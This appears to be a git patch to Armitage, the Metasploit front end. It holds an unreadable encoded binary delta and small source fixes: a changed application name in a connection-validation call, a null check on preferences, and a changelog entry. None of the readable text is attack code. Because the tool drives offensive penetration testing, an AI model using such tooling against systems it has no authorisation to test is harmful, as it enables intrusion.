z+9nAH9~=pF%!oM?Rd`VEO031waUYACh0It zp91MfhNKccNWuV`;8`l6j{tV444^{@>;U2PN8>o4G)e)1ek1~DM_^va{0QNSq;3Xu zbM^>fia^~F0{xZ+Nlm~%N{mH72IaTmD4~Y{E~D@$RR*3JKr^rm-(yg1{4oN(&_Tdb z6umA7K52wH$UH`9{RNvLL|Q)Qp^4gYLK6X8!p!4TPgb0TGbzVm>)}jp76gxv6Uvke zZRAlrjfnnZbvBI%`jfWq2_ggm?C;zOswFUOM`11YNWz}mAql&p3C^Vx=(i{o=oA9j zA5FkHNpR2%?#G&wR6j5f2mxM&-zTXa!(O@|b==dK3?dwXh%?ZU+$qB3&y4>ms@pKb zNr=QfZ9YX9iT0w7X{W;a^iES-0IsDbxO|#0{-gNyG}U~#+uRU|>)eq^)rq&@olFA# z)QGA_;tW+BPSooRl_<=~8EN3$9-o1^!8ZRs12-C!cp-hx!i9tya3LZP*>sk$MG`N$ z!J1SF^L>wuKWt*@P#Ob~*4AfpWi4wg@FZm*QiD z@@XzH1L>Jwq~tcCtQSh7JW79~P(Bb!jZ1L9LA%YDh-pYxT_UC;sdAa{MRLVu!UM^| z%W#RH92R1aE5vk!k6j_$k!-(0*<0pQdG8R)8lhAzp!60MQ2s6!Q1-(G#B5|g`zqx> z<0_Tsm#b8KmqJP&5z6jD%5LH{Dqg}h!VB5IyheBi0zz&nB4RX2CnWD{ zlDH5BEpjr#v$ROu=%ZSsGr}!GX{1fzP@%k{O(KWjrw~ulq2_lBWwlVs>yplY{i;UR zh*Sb=bxFJ(Pv}yy-asAX%S4ZotAz5Z9yR|{C>``E93zyKLMd%P@iT-H7?5}oIt@s? zcs7QlBl5q+kjnY4A*IhUqT)?6qHwZMHVUPdG3kQrmKam>7liV&P>vf*@tcIQWGs%8 zYC@U0nNZUSCRF%Z6B3_B98+q3wJDX}9aF0H3=Sn-I3)gD*)7EPIV4^~Wit}*wfSb` zER{jq7{X!mz&n+53 zNpFJ0dl(Q@9Zdw)E`5@cAta@Dm89Yfl9b;md@9cbp?u0G15x~O79>6w<1DB=8!ae3 zy>XPEmE)**f^k$nbW4h#W=Zua-IAK`w4~yYR#YEit;qSve}@(2-_Dw5 z50Z}K$zUY2$CLg@(rqYxe;aZx!UZ-YzNUyxpzP;Npw_E!0_9)Xmc-}&a$72HsV!wc z#*VUEYDe`m-;TuRuH;0j-vJXzPkahAO-z~T1{O?&r@)xn@H7UXHWGs+MYTs zE9|Knr5&gq`3vPq2a4|yN@5a)HwtB`P%IsBm_3D>KQ@KRvv~@&MjU6V2V0$~wSMVL)n({H>4gYo zt_!utKf6$Soaai#U*}5g@w={+KGTibb6###{fFHsyXS7WE`g3aDYphC#J@>Rti4Gk zcI_r*Fd~%hMU1Cv)9=Zc_I5AEs5&o#;8b?G#Rph^aXQKVuOo8uXQ$=vSj70CS zKy?|Z$x!bVvOc}0qB1^HX>>)#zYlIe?k=fGQvv38Nqo=egWztkQV5eEWF%^Ez!eRS zirHw>B~E4GAChh{L_}oSA|i_aQwT+OYo(uA~3*r5MEB|pc0eHVaAid z#c~qgX*{H0S2>AqNZA!|_B}AJAhm-~Ht(iCw7DoHBC^!*e?2k+|I23O(pBr%{(thx z`tDh98786vYf&DRPct}GK^mcaDpABT@UDVtDC-`Ct-$CWsgGto5S#&)-6M7JTK;+O z_kTQkALoGZ;~W)m>mG?7WIzov4F@0YQI4hVL%1K9-Y4-h$215T{ly$0Tf$NP-$g!% zbXS7B`;=)tf{VfD`y{>_m#c)(1DID*Df%Ml4pvoC{Y^x0Bgn0!Y-HQ7y#Au4 zyv-y*Goois|3ll+oqhiR7TD@*#saFp2`P~Am=pyYW}3;tjY$1F6TN&Ur7BlPGC{^n z7^Surx|8((L)+4q{qqMf!HIv&m>|3k>L>?N^yNC(6_a@wq}IbSd>2p?(-By@hyv;L zP;2W_3VcQ&C4>SFk4X#KH?aCKyf!luDX#SiEc*3hl25PrkC6qIPhexh5B|}S1$hU} zWWdQMFrD1wKeQ{|>+l~S3%nYjReS0mh6Q?0n2CY&4dgg_+mZjJhZ{(1`hnyBOIIH^ zV}m^%|F*H>#Hco2KQUTg0Te%lIjza~i_SO=yL&kUw(m&kzi!r_9_1$F^k{uqu;LkX zlXB)STJAY14sJYyt#vv-nzp6KUHFSxa0SK-e-4XWm;1l;{pYYq-lfqr3#_^Xi!^V9 zAx*A~o|6Z0i0&@_;gpW3Uh{l(zE5-&&#`itv-(K}wi1*pCG7o$}I+aOZ}cW>tl z==NRl=s9_?={YF}rk0NCjzj5RTJbO8C+3Mee=!{|;TgT8{4XZ0+)Ng*q)6e`FT6j> zUDo|Ss!Y&wA2utX0S5h9KT7LkJ<`$vA78=EnE#jp4oxuBodyb=Xo71o=>-KMUzjNZ ziPx~E_pc~Mw+U9c05K-b6qECsw4_CW*4OX`&%K@E{F>o{cyv)9x0$q}+kc_J#xHP( z%e6rJ{og5OZVR-J07)(I2D4&_;zowx%E`5o9L9SQE@&GvgMY6?G)lew~>8%-BEQH;$y zxaISm5zqzu-;pG(6Wn?SFD`q%0IieM1h>6lF64V?;_6K?+q}7WC(41wY23drkJZyC zh3faD6-@%rI^cb+mmkG#=zzQ0Z4L#t&w;)C?<(6JII6zp)K2)2@MJ!vE3p7Z+ujM| z-&=$j4KUW4RG==;uR38vdCR%Lb2(QVog8w&_yeg4czru&U>#CssD-53Yl^jPK0d-&D1KlS*u=*R!*XA2Jo)!!uzQKpUPezne zEn{;ju>1imv-cak-zhPn=ual*Y{2^tw-G#XaVp{8NlW?+0`z@{-isih1%lr1a4Rsa z5vK_ptj)#2svpoK8Qz|t>@WR*PrZ)Le}EMHGe?;46W}{QE~BgZ{Fx93(|lmO*8|Y_ z7QAUd#@avO8F1a70wq65Hdy}?mcDiNAI6dX0^U3zT{z7GTE9q=ekh1ymi&T^^O{eA zt@B}xCBLBaPw<8T84RQ8ktGx$mcrPP>hSWhU=X%oc`&#$1a*!Eo67@0sHt+_1V(%}w>++hCqH6UyQ zrI4`!D&S!LLvW*=2CIk2X*4fzdkCJGkAU1T49MSsbd|xDVfdLaedpm*d_54q(_HSb zEcE*zW>k*FKz@W=Ob?C2T3`e|`Gv&e@y`+X6t^)EjSmO%r_jm{XYgmxgN`BJN?`x7 zfAcV*@zv?=$0<61#KPzO;!VYey^EtF< z-~ydLi*^VM)A?SslVB=?@5!*gXbu7{nwx?&uYWJyU6)67=k;ZvC(a*}Dhi`tyMo8S zN0jeKKb}v42l=q~@D5E5l#9Ytq6#SbVgaP9s~{~e25IN36g^ptZ$pc%7Or#h*$)KaS$cr1+MMdzL&v3*;#Q8EO6$#zgD? zkQ9it<|%`CY1qcp@&ECXKvEP2`Ya6#IOQtjb!Fh*c<%lmVuN@Yz9XaG^FN9OKFaV( zMs@(EG=Qxv-=6VqE=GFbxGaq0v_h!pJ-NsiTutD5q45 zp(@VV|B{@O75pB>T1!L({_oGfGtuRsN14w>NouLUBrO|wz^8$y0phhtsx@9E;pPso zTn_wy2~huIh*~569P28ABPx9Km%-p7@(}k*$hJZjH`n{ZGwCfb$7bkdw1>nNp>Aml zj|m7>sxS7c(2dg@;Z%gG(9QL2zqK>rS3(}T|N8~j^mZNyZRe?h5}}7`=z(SeI#u}` zT>hUo?Jx_CQ8oMkd^LE1g2@M|K^p)ztMN@tQFpIzOxm;rc2@`5$d9rSp%EhMmlKY& z7A^wOTBI@#;U^)^)q@4v!ZwXoPfk_m>tdblnad-C;5T3E#s635EtmwAP#O!>VH)9J zyAWm|$O0uo*n*%w_$`Fm8W1i3b{dpz5Q45?vk<01$j;UfCJXwelFBH;3#2t3eAnO` zBB-eeyDd7F0J>udW$?m*`r2qdWZ`GZR!zPkPW_D)U;I4m#wFMdrBU5D2TK1{vQCQ) zI{+2xVIM{-?ErKwDx8THbnFORwD|a&t>q9(s*DrnxMnH1bDbE&L;e4pSY}fRBX&cF zqrWDcXNlFPghxdBgh#B80JO^lwas_#&mR{L^{Zh5qiy~HqS}1?m6xeDtXF9Q0r(S$ zF<`DXwda;YmVVz3)NAuq&~F#U;Hs^+v@svS95mpfX^yJ;5vbFq&g~&&`D_wpX`#a( zgU`+59L>Hr(9-VzST;LSs&Y;Q6Fg9*+I>(5I{7t)nz;v^pp|)r$a}7cR0guTd8bv6O&W)n)_fF9MkG|0kdmK%C}{8IK4 zg79ulpXxTD4`DL!(x;X?0z$g;QqZT*R|k(Q!&^uO?YOG-j$z0IrM~D z-Gv+*1EwK=9D)-KA^ZRW45_TQAy^HL8S+hW&+1)iOZUTY0(gwRphd+J;CL+j`OAnQ z)g5UgRB#+vZNwh~9N>R&N(W3OBTvD7ssQU9{aySr5Mjh0i*h&$Eot`Pni1bry!9ab IqF3bq0mxjurvLx| delta 17908 zcmZvE2|QHY|G$~R%vi^oEjuyB+&lJ)kSvu7?W;B|XxE~Jv}n^JaoUhjvPH_YP!dv6 zS(3^g5=trB`JHp_rO3=6P6k|r6ofPu|cF+vdC!Ei!CPeL0w#n2_ArizQ45{Nz`Zb9|x zfOU0*#6O9`&K_}+>f|HgEn$PiAqi_F3M4EkVF<3)i%UdlOJcVXlG;G`yM#p46bjFk z6d<(-Npn{QG)2OK5(}9o2pwP&NZe%dkZn6t9|dr1a37K;1=BxVR@$ zqoVSqWRUd}DOBJ|X37G z4o{Pp98Pt&oE5U)EoTzdAcrgImNQ0-vb-S@W8}S%h>+(ZaZ?@-RfN1+)S$crV%BkV zzy(Ef$>A~9ac~hAI3`HvF$Y`y;Fwab)S~Pa6j9Sl0rziL&_(FH0-m`71wDvz-YUG1 zMALd(tqO{q|@{Rr?EXNuhU?5y%VukTft|P^p&&Ki;p@I9eEa(#0udLeJ_3?BuF*6Aq@2zbX z){7o<220Xm5XTWXE>MPkqmEC1h1~nkNX4}3th=a+oSFr-GDv2vo{7w&n1Qzud=R*s ziJ)sxB@*hJs}b9?xgQ(9+j+`r~;OD$HlSUxD!%JsDD!8TX7_b zl((2yPBp=L4+cEM z;UOWcDv~T*1p5InV3tBDTw=(ai~l?o13fFI8u+6_GKJ^e znX~A)_stHcW$CbY9ccDsstHF-V&>D?$gDm#(W(Gc9AzpAKY21=<1l5@m`||xGv3Sq z%t+2)9>)zZiy4j^I&+!Nu+FD>FawlR%>t46HDBfcX09z^N+adV_m(lS(S1Lr7H%}I zWXhuv7JgdGyoGhs)-xkCAOl7pVV2_cq#C})=OkRGQFL%2fvGAqieM&U)yGGfzp$5w zCq$t$PBQW05@w!aO5v{CG0g3_VRMFg5)awqSY{J8PmgD|@7PG^*Z?yZtr(#jo%IeEPDrulqctUr;ILY-@_I$q0Aj#;b=FJNGf{&Tg?kz_ zS&BGRuP!SQH-ItgEbg*2VYTB3nij0p*k8CEO9y9sc?|0fj=66fOAE)m=*oJ8ZW6*Z zvsew-e99aa2Rrm#$g09RR(>oC>}OQ~D<12x*RXcruJ9n11$KCQD@%ig{M3Z9KH=!4 zhgecrx%#lEnwt@}fs)wlB{(Uj z3|k6UprpY*jhPHB_Dx*DNt{~o!UB$wu*q^qFPaa^9VCxHG&DnFY{&#{Mh8sI9 z*ynNb>SNer@bu4gVi%%B)ScPuvC0t__8r{taAQ-Y6CUh0I5n9`>>3&l(lzNtZaR22 zg{>`Qd$RL!Z|M{^b!ui#V^?4%%$r?@8@|)ouW@7SOm;JFXwPOJ!%;HlvSn~7c?;Qh zHBlxzgV}Jc=35J2g|ch0PR<^-y*OmR=WzBl)RTOG-NHhRLnqj-Ow@P|*dO%Jz}~yX zu0dYFZFW75v?Y(NjTFO?=>tAJW1VL+|2=@G=nEK|9T>+%dxVXsBZ>{lw^P|^py z>QsbYb*jp0h+Xkjb=v@HH1&>fT!2(NYN%}7HH7SONBgbmQ-YEXlS zn{Ec0D3b7ny8%^#=0pRb=0wA-(uh4Z!!WNNHGC|Lt|8`tYMj6yemg@fl2pS&mvyJ!V6U&8&T+ zXUM-$aL8s%N>~hWe*2AQ>6y0`rBi)ugAH^(h5 zZGGtJqkVj#Rq8F7L$f6hac4!RK8cmoC!b#z(>A^+KKU5^_sOK1$`w;wW4GIQ^s!EF zUKEn}vBv9V3{Lm9*Xnx@>O%tdw_H^}e|(0*ex7%5te)JTe$Z-i@XE%bbsTyJ>hNhkvUr%$*{{ZI;NFk zl2%%aZ$9obUA}j3{4@SItvL07t$Pyv4}^E#IAtF1W9PQu(4F5>Ig_P&dv^6G9j|zr z@4F%L<+Y5IqpuZqF)lO~C6@=JHg&Vs_|N;Jum7T4uD0YzpP-ExE%E(Lai! z)#v2ylj_MS-LU&d9$1Qy$gaEne0wdV`3Y0GpJ z2gx^=$8|XQSUJ*t4%puuoqscKRLM+9YhSn7B_;WZ7IKMMUaEjCI>#lKO|_1*Jfq9FCi~X2%%Sj9V4fXQoO9KHj@1M2Br~ z|3^iiQLO>f?^{eKX?a^aE89bN$>U-@ySobV8(V5?n(lx4=FyuNQFK5?aZaSdb!K8o zqL=FYUy)MEav#Suwr3|h=8lt4O86-kTDJ7@?b6X!byXQe+Ne3fuWprpeyJ?SzjVBs zRiv1C@QT!a&*>_oIVEmq4qu6}SmOL9>B-tHeMS+fxF&SlFb-k(jr z>3>t-H_qjAf?o87`MJ5Zo1QP&q_n(5^~OO}w;PrRt34v?XK%4Ki(A68{T@`GdTmte zxX_sEe%>FZUi0(|$++&a&8V~Xy3oSo$DGfy+DmDXg53Ku0~v) zdiCkl_V%eXP<6Uxb^P6F#OYg?Hf=q8clMnPH%de8K~{!CjKNjc8)h+$jNjRyU$!G= zr2X_|(-UrYjYzAWV`(wN{QAOlX&1XMqd&b1U&3t6o#k17e5;yPK*amjhFQwBoeykG z76p-OGdEx8NVuDNOYiFrg@sAaHFwXRs8mV&N}qB6UO{4zbozrj6|XpN3zg<`zIV>g zRlf6LziVQs3(yG1WR}7H(hTd z$!b9q@2FKvNB7s((5e?r9W7N4tK!Xe88Sa)ot|5j+Ss;t|M8?BvSGV27w(ytdekyI zr(@!s6%v1(W~AC!bX$eptbXF0-}138xOJ>*UHvbkvJHQ7U*>E*dgIB&#a}NSk(ahv ztgu_Nzq!YV7ZSK;iI13k`nuvto=zM5_+qgEo8JFeQ+1|t?~@zr&JD^k|9&Z9iNQPf zl4jEfa_|-oj6a$FLbq~*&!&OslaDY`ipx?!jdPk@C;Z@3uh0F6AH2$qxt8*%i*Cbp zmq3llW4Qw=xZ%xB#yY(-xSH5XegXFtdMFciuHv@fhrOr4TrK=O(!Gzn9{X8ziu*%S z7Ckl?ZoKoQLtacQTDbfiH;fT_jZCfcv;O#Vp5x)khevDe*%!|PtOxp1%MLkB^?$}W z>@%^Vc!l1zm@AbQwhFzK)@k$36--xeGnf7$3FQEl7Id?{nhZ{=rip&pik|^38E; zk^EAj=eW89`}A9T3WM)%DJ_gR{Gzs@DCr{C-?C&}nNG*P2NUL8*}bJW`dRe35E|{p zJ3nr*xfS3r$~tvLme;-_mVUK;UaG2mexJq0&dmP4f_q{y)n2w)k`I39@6TR8@0Ll6 z{es6~6KlLG4t>f${UJcRP{ZEa^&)rD2K_ka9`DfWA;wEh84B(BPqyt_oETu8trvdS zo<^<^_-=c>JtuB@`RT)fO_y5+(%#D{8t-VX_n0EcH3y}gNl%m-xh#9e!G#XjB+t)z@YHGNg9}rd7hH`B z-1TDC<}dM~vw1HbD>9xX${xkwSySmUL{?o1bNB-RVIC9Km-CHKJ#(&^W^SzDx z^$tY^w*5FM%&5&u*4qMB_U86Jn!{Rj*R8fzW}U~f>+P(IiH%WpE>CSj9f+@&!}cAX zQ^#a4v!Ax#uDw~gd4FAUF5~>k7LL)S!+d{E?JQkON7OFgE&)pwB=U*cbCu6|y( zWlFV`ghWmBue zJUfNEWXtk3(}T)5RnsJOE`DLwKhdL=UGYwQe*A0lL2t%|-_7>j(nI;v_<=wdjDJtm>Q%=PdydClA!-*YfN)I&@ORpSDYx9)UiAY!<>d~_5 zsH2aUO4!B4#y3na?sj%)VW*mG-@VFdUbI0l`Ch5er;FaRytHri(rp|22ZG3va#Ou? zV$a7d|^Mz7tKNyu4k9%}4#(92h(0bRxg`o!-8^$R(YAv38u_ay*84>7Y#5#8KqHAxe z)+_xPm0DY5lba8(`|Vl9v%Q)Y)_3<+Pv!F9^An0KY`Q!{s=L^OC2d~Y7}0VWz6U0^ zEe>~biu1~2&E7dfBX};q_sxXw(nOz_arp#`_;0B@@AqUCytuzhXcpJgwX9&uk0;$d z*F)DkbC(*;dw9e!VY(A{L&G)UY?B4f%SbN?nsK37U=}NTa>e;CYnjq<-Myj59CpT~ zRIfScQ+ke>GXF*Ov)(af(GdxBGn1myQER$c){QBWF^fWG@m6M)>Q9Kat7+2vedL?F z^89bQ(fK`Nt`E*U%oUVBsMZL&#B@BjCZNymZfInw?4uW{bIx5h58oAI8lAw`Uv+ka zxYNb@sxNBfvpA_V|%2Qq#|-?9TX= z(r|H^i-ByaZHm0nk<7wH(lwq}&Kl>HbQ1hK@_xG}uKB*Kb-&=a+2~hGXIhKBnIxw_ zChv3M!4}O!KVyY5iGAv+Z4o{f^!N0~)j0|t3)@n|555ld(aRT3GB?`Sk+}NCbI(Wq z3A^5?G;S?!3@RvG5xP!ia8XO6+3#O5d(;AtbW890wd&r4Uq-Kqdp$EAUD~sC59htz z$YoX~MN=F$cb2aT?I_yodn~-gpHxh%_kAk4t~k&<6FjS$9X2QL=k;>~RoPqIlTS_U zYpg!fk$JPavRzdW`bhSK^F0k)>uAeWY+inJfIl-+&TEO+hJb>?Uhidxo?Rz9KUEyK zzw`uo>{#Cok76lT!oF_(jv1|^<15emcBLPCq{b|C;h&#$DthT94OzXpN(^oF+Jk2w z7TuV4@cZbp@qE{x99-OMFjWJ_F^W_MQH@0NS=u+H~d#yf|C(AzhU>w71Z=;ub= zy7pDUFU6`ZJ!M63@Rkt4&kYvAf5ddx*vB$Q8NFPnRNm917B{$zA(s<6JcQYNgWpCZ@|GEB0F>zqTy32`29>g<8 zJa|y`e%fB&1IptMJ=e((6r2h+{pGm3x#QFK%Yzn&LwBCn9^4)wTQ$PFdc9Mo*jC>r z6Wj4}*Ej0@2(-<*^to2|;&HiypO(ZKzsxhcuG4ce$Z6WPtU&qJ-04TdpDHwk+NxWx zDgL#dv)xY0^jxTkTD>gu_*Y}IXEO#Cm3qF<2(lV;G^4r2;n4Pu#lHhe667vM6o9;g=s`dC9E$~&^^G$iC`^n7mD$89h=SHL%q;Cs2@Wk@b zW%iSv)#HE7KmJj!+F@)uTgpt#)zQTJYI=1*nx8^j^AR)ogH;7Onq3^>m00NZ<#XGE z6m79@w|fgFHS&%rZgN=UFd)04GkGpKohbVh>vpmCBXRnQ=EOCXKPQjv2$%l$)AhK* z&RZv*C2DWlF@I6}=Zu_W4_}j&$AUMu`WxR4Ka#m3ai{N@XmMSyJNYXIU%vnL{qi?S z$C2gdof96c?9x)1gQ1d2S2Og zOt@f5JJ-vw*j2}j-)cN_({|mq5QS=;r~W@9>n?pQKknP!-~2?UIdbvKcyXVimTw&4 z>eE%bPPgom*xc&fJ??wEv-u;XP4eTm%A9fAzbWm`ulRc@pm;rZ@NC(aSrBR`%@%-(orm-`}KFfR2sV*fxC(WW}ds*AB4}-(sq;{ln zweY*pnJn&d{K7Ms$K8g$TnmHmbHC!Qbq~3%XggOp^ELMmeodOuz%|F8x%YN)_u_XU z)-SFqw$dHsx{rX$2Ue?^!Gi}6bKz=Len<=?!TWUnJ>)4hgYSvezi0EA_yaucHh(2% z{O|IW@rT{r1^g=fS$Jk4AMRg5EA1kF7H&K*=C4KXe?q5f{u``3@+ChAn@7FjOX9}4 zMt(N#n%csL+j&rVek=baPS)xxznq3&+-&=4T`S>cojY*+%GVT{_Vc&l0EyrDEAgjc z85$9ZnRq$@_j;h09!cUb9)ulI1i*fkWeGLh#aAHk_JS}_g=ob(KI+6$tdpxr9KjA< zj0m_%3H@+J5zld>#e{f@8`ro*Ep9~c2)Ho}b*2zRHTGj*Nx0%Je=FiUZY;MU;O+|4 z(Hl*`9c$RA8cRsv#%l*cl8(#E3sX*d3d_?14Pyx{A=`<7+pkcy)0xn~s*)3k$GB1H zMr^{7+$RyLc-DQV5rtIj>BME!0A;g?USwS`o7jN2Q!M8Z)W(j+0%9-PSp)IQiK|G( z%a2gTkyflA{@}ebzd*tU8^x|A=Hs2FpBo4pykTRpg}9G5R{FLQO?VBy+(%qP3^)=_ zJiz`A5OBL0I^KAQc!3)eBM7*sc;6a)j3h?GAJ72PlLXqP09uKJ7AQJN>_nhB9)d+t zgg$b%CyGcwWLYdEolg-)2yiY#u*sy7-CjdO$+0=SqN=U_1q1SG?r=yPx;V9bmZ2&&Ezs^aJa2+%psPs2>AgU#LtsM^bgYm-m<;vIPN2pZXB?L>l$RE0 zOdyOzrNzL~^efs#=93K5OZ)wEQ&PT?~7luArO(moBI9Z((<$tIDsNT>LHB3YA8_#i!Q1|>s8 zvQi|CGb#OTBKcS(wXVVi2JLoSC8i?z4NwqA(8_9qyVj_~cS#V;Y92DV6*~B!2 z&t(%HNVa8D_SV;^yu(DYTqM41n2qe`T&MgeT&ME z=(8iq2?#fdq_H-I14Z(hHi;a9pCas}L-mJ?WSK}R>XH-w`B4qWh*SYVx}*uRjnk!K zy@fgmo9a<=ok-r$qxye}q@zBC_le{qk(4u__~{~f+JMB9@ZNyLlQ-IsbVmMn8d5nI z8B+ReBP!lBBMP4q$yXw&ZA`i%J3nKpKUE}qMAB*$#RrSz-BDB=nh9m+VM6sEHKF+D zCgfb?&&-tS-)KtZS7=I&y*QVWZd`I4(hC>iQZ9)nafBI(7u#Ypat7+pH6!t&Wbi2I z#iQy@;8Anh&7I!{y}pRFNzv-Y8AUC^0U^Gig(kJ z%7%Ckxa8C zXCcY3qx5Ink@FG0Zb#yaisWd@e*S1`zH&!X{zr@<@yYK$hKgG-hO$>4OWCa$OO0pF zSQ4MSGWOJX&$A~d;d7wQ{?v4Lu*4po1BLb^AI0por)siypvH8M19e`OI8ZgpjibhB zwn$zWNAVpZNjg$^n@ARjB+H57y+rb~NH#f9xs7%v=b`w~&Q#nt&LqB1YK*7W>ca74 z2)Yv2k0w>m0R3GgZ;t@O|X(zsYlmE-V-CAnNNF*ULO{w0OYYc>Vm zm8QzzRw0RYu0UBKsm0LwBw_~(Nwob06dsUTG%dh?K;lO}Zv+p6wIUda;3<&#fHcxU z;R@HiKXI2KCMM4o6I1>#npjd;4d{J98q7yZS;+~%*l^d%kPs7tsSW*03M(<@ifvl9 zarOG3O~lI0tNEJ(y(ZJ>$_(_Ib+iGueEhzbVpBCG#Keqb#l$#6mSQl#FR;Fd#1GJs zMKGxeAhU?X&l686*i}U0XAP-h*xLn06_eTvk;k@a<#rh|Vq$)V|Lc*p;J<9v_^sW% z>Hm{YO8=ysESSg$Sc~egeBOeK#Uy^ze}p1F1ntGt5VA`kYy-w6Bz|t6gy3wjvV_#d zLpZdj_y2hG0hdZBkLAc_E$A$vJjy>KydXTsfUwTb&tPE2zzgi786q#rnD6FJS6dxxI!t6>H+wrq&~J8H|<^n z4Nl7f)Bhbvcd)LMnwk^HW(&wDr4oOR;4ko@l=3M52tp;mdqho~CxQ#W>PPT&;A?~X zmGIiQSldhrlszK3^mY*=`xu^075Y@S-(z^`upLE#+mGRODThk|*(anO-P)W23!adp z={W=i(h;z*puq1ZIifyf1^NWUCVeRGrP_fO{p$0oTWy zao|#-{w0MakEaw~jyID9@#Qe-ORf~tR1ULgbEkmrGg2IAdYG|+{ZpuOW6}`K0zH$= zB*76xS9$(J%T6(q291dJnKnd^rMq|!0T$ThZN>uIxTFjqAHx7!rw_|*)pSbr>~xsh z^JmbL)GUgzpJm1YYSo0uE@;j$JHI)U7MKHzUjH20sVtxv_XTG1pa3zW7E#RHMNmh+ z0y18UDaNY;*1dcw1>!5@DNm|gqhEd>PC232egMvzO8m$O$s^Cpz zZ6r{rBH^EWM8W_Us$hV$D2n-11!rk;GzF$qL+~~Rxfuxxu9!)HlxotF-gNpOX0V#H zp&vc>4^wsy&V=17IGrW2!%7#%{-c%k0{Y%?;a}zg9B;e~wp<)$xANjYT1#q3D|%GY zKg_KfSh@4%f0*5u;p~>yzzm|V4D%FzWk^dN1iyrJZ%Q9x*x<=aSe^ORAx09cxe7h; zYtfu!|3mMpC9Ub5IsY)+>rfFF-CIj)(AVb<^+^Eo6`YOQoBuH3hLOnNiT=vtzzgl)%S@XX4=j=7 zX@dn#q#dJ#AwoBrNLz-BBu1t{t(oL9lvx<*faT4kBV&M#(MVv^OR9ob&7=l{W6T45 zW1bG;;Dj#E#z2+zzQQnaIXapSfmYbd`s$qXEr=0cw_aqxRtg% zj`V-|%>m=yk_+hzMkmufJ5*8UTmCO;ZkXEpuC2(!s~alBL#Gv zc=DjT6$ZUMo?=F~!PTBU0Rdfb4E}D2_72=@gO7>_JwaAGTrb>qxDs5aP#|OqPa528 zfK|PkIxM@#;A%U3o?`n@dOGjm4Pf$23T%A`FFkJH>O0b#Ru5<$@SUO3m+F#U4E=?6 zz>OCxHc>wtQ9;V~_9-cIYffTsUl&|tK4A!GgWFv&`jNdn zuwfrh2gr1j0><=x81X=0H=O(a{TOM3j`gG>bxSDkh7n3ZM>pw3O9i7pkkc52Q9RHT z#nT5FAE3>~7#=tg!_!5G1EfB}I@D5N%x8GBkElaH15Ex5mu<#pm_dCj5BzF{S$|R#aKLXwd3W-_ zx=x+}TFG3-;y*kP@&_s$fe6-`+Y2A*YnVWxA6_;VeIX@*9Lro1jQj%UQ&D<|wxu`7 zQGg?FE(P9q{avReU*O0Ef#xsp%_dc4NJShpshG=ySP7U#z*ktgP>t$4{}rCn1EAt7 zd<*Q>qd0ASb0un-%<6;QR)7tC@Ex+-NYra=E(0Fj{2TCziTS^$R36~;!xv#D4=JmH z4gK&`@FpnBJN=|JZ9e$i57&*P4aFU`GG_uu8(8AHZ?MFZ<0v}o8+?0qnlJ=pK*$8B zlfr`e+kS`nS56x0lLTwO!}pC5UjH!Dyv*64;XCx0Kb@j=e!wfMa2BBbgty$yKj4br zF`EJS(RG;cK=T5~$ALi#tXqC1eHwbz)-0qI|GDbGVRdmTkL z{f3W6$A81~e!`|9#(^HNWeA7^yFc*6O9=jliTDGjbTYXA2R@dR1BC(jU4Yz8_3s#f z%2W4HVD}z#t!NHR>cV?1>*+cu=yVtVr0RYL3qkt$9PnfaCNbj zvWAsdmj#-|1xi3B8#-!~g%OLghbi31rWD$;%|}oQSFR0HID3s!czg}c9KL%#X9^@h ziMT)=-ie#U1)g-5>y(PKgusr@xj_M^8`NpYrN91OaF z9eiR6RKWA^aOKWn3Al9GUlil`3x4D+y8iJAR`Xl_sGJUF1TTSBzWTn3&Rg` zZ65r8A5>~QL>for;L7a%;iqR~TQHdTxz@6uhHmbKu2OJW21t@yJ2?fDy`s))Q zQbC{w{b%k(q|@6piD_%P2YHh0;41r4E{ItFDdK+_@pY}p)X0=BVf6f)qLPx z&DR8v-9_bk=C3m!2g~Kc|0{vUkRd9U^AhVSgEJ!pO2|Vd@(}(;#BO{`DB%H{a-~Lg z2h6bndKvEFSffa{ppnl6q?!Pa+Bh}n#<@k*bw6F?=H{;7+KKS9)I{C?{Zux!73(U2 z&{nu~?uy)$K{vEf;JuoFi^pJSPameDIjoR=V4)6I6Rcp7I<$!aJJbaxTr|Wtx1QLx z91gJ#v>E=LWl)R|+q{}^p0Q+UAh_>Ns^Azir6hTJu*@-Vu!ifO1T+l+^#v&;adq%Q z_z`ZiX2oz8?sad99@ATwtVyM>aRLz6$wAk4!^jJ z0nWMt^yiacy)K*_pJ@bGKaJ16je>Hr5l0_~ffA);o3;R@4iRQNt>` zH;VxEvj`JV-$dZ^ZoVG$kTaVA6|)Hya9j`ig}V%~kcF=~xAg=T2!2FR7D(&E(S?xI zhc+jd6Ci6jp*-Yi17cnL2(ZMDu)$YOT-;s1RTm$?Pn$F0%kl8y=7P`qusG;Y*8uvT z0~`$C8biNHIA%WYvk9CPDR{Ds7?%GDu-iajjBHYn%?D5nZ4m52&r7=CpM2`9k$a6&W2h#FxzBUIG^Sk(bS9luWF qs*agT2PeSER)m!e|AY@0u8{!$EaNORrP%|ak-${4F%o_`7W+Sib&%8m diff --git a/data/armitage/whatsnew.txt b/data/armitage/whatsnew.txt index a7249cd52b..01a4364bfc 100755 --- a/data/armitage/whatsnew.txt +++ b/data/armitage/whatsnew.txt @@ -8,6 +8,11 @@ Armitage Changelog creating additional connections to server to balance messages over - Preferences are now shared among each Armitage connection. +6 Mar 13 (2000h) +-------- +- Fixed issue with additional team server connections reporting wrong + application and receiving a summary rejection by the team server. + Cortana Updates (for scripters) -------- - Added a &publish, &query, &subscribe API to allow inter-script diff --git a/external/source/armitage/scripts/armitage.sl b/external/source/armitage/scripts/armitage.sl index ec91b699e7..2df5fcf2a4 100644 --- a/external/source/armitage/scripts/armitage.sl +++ b/external/source/armitage/scripts/armitage.sl @@ -187,7 +187,7 @@ sub _connectToMetasploit { local('$x $cc'); for ($x = 0; $x < 6; $x++) { $cc = c_client($1, $2); - call($cc, "armitage.validate", $3, $4, $null, "cobaltstrike", 120326); + call($cc, "armitage.validate", $3, $4, $null, "armitage", 120326); push(@POOL, $cc); } } diff --git a/external/source/armitage/scripts/preferences.sl b/external/source/armitage/scripts/preferences.sl index fa42a7afc7..ec418f2c19 100644 --- a/external/source/armitage/scripts/preferences.sl +++ b/external/source/armitage/scripts/preferences.sl @@ -68,7 +68,10 @@ sub loadPreferences { else { [$prefs load: resource("resources/armitage.prop")]; } - [$__frame__ setPreferences: $prefs]; + + if ($__frame__ !is $null) { + [$__frame__ setPreferences: $prefs]; + } } # parse command line options here. diff --git a/external/source/armitage/whatsnew.txt b/external/source/armitage/whatsnew.txt index a7249cd52b..01a4364bfc 100644 --- 